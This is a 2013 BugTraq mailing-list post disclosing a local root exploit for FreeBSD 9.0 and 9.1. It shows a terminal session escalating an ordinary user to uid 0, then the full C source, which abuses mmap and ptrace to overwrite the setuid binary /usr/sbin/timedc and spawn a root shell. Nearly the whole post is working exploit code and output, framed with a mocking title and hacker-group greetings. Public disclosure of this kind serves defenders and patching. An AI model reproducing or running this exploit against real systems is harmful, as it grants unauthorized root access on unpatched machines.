BugTraq
Happy Birthday FreeBSD! Now you are 20 years old and your security is the same as 20 years ago... :) Jun 19 2013 09:32PM
Hunger (hunger hunger hu) (1 replies)
$ uname -a
FreeBSD fbsd91x64 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec
4 09:23:10 UTC 2012
root (at) farrell.cse.buffalo (dot) edu [email concealed]:/usr/obj/usr/src/sys/GENERIC amd64
$ id
uid=1001(hunger) gid=1002(hunger) groups=1002(hunger)
$ gcc fbsd9lul.c -o fbsd9lul
$ ./fbsd9lul
FreeBSD 9.{0,1} mmap/ptrace exploit
by Hunger <fbsd9lul (at) hunger (dot) hu [email concealed]>
# id
uid=0(root) gid=0(wheel) egid=1002(hunger) groups=1002(hunger)
#
/*

* FreeBSD 9.{0,1} mmap/ptrace exploit

* by Hunger <fbsd9lul (at) hunger (dot) hu [email concealed]>

*

* Happy Birthday FreeBSD!

* Now you are 20 years old and your security is the same as 20 years ago... :)

*

* Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op, pipacs, prof,

* sd, sghctoma, snq, spender, s2crew and others at #hekkcamp:

* I hope we'll meet again at 8@1470n ;)

*

* Special thanks to proactivesec.com

*

*/

#include <err.h>

#include <errno.h>

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <fcntl.h>

#include <sys/stat.h>

#include <sys/mman.h>

#include <sys/types.h>

#include <sys/ptrace.h>

#include <sys/wait.h>

#define SH "/bin/sh"

#define TG "/usr/sbin/timedc"

int

main(int ac, char **av) {

int from_fd, to_fd, status;

struct stat st;

struct ptrace_io_desc piod;

char *s, *d;

pid_t pid;

if (geteuid() == 0) {

setuid(0);

execl(SH, SH, NULL);

return 0;

}

printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");

printf("by Hunger <fbsd9lul (at) hunger (dot) hu [email concealed]>\n");

if ((from_fd = open(av[0], O_RDONLY)) == -1 ||

(to_fd = open(TG, O_RDONLY)) == -1)

err(1, "open");

if (stat(av[0], &st) == -1)

err(2, "stat");

if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ,

MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) ||

(d = mmap(NULL, (size_t)st.st_size, PROT_READ,

MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) == MAP_FAILED)

err(3, "mmap");

if ((pid = fork()) == -1)

err(4, "fork");

if (!pid) {

if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)

err(5, "ptraceme");

return 0;

}

if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)

err(6, "ptattach");

if (wait(&status) == -1)

err(7, "wait");

piod.piod_op = PIOD_WRITE_D;

piod.piod_offs = d;

piod.piod_addr = s;

piod.piod_len = st.st_size;

if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1)

err(8, "ptio");

execl(TG, TG, NULL);

return 0;

}

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus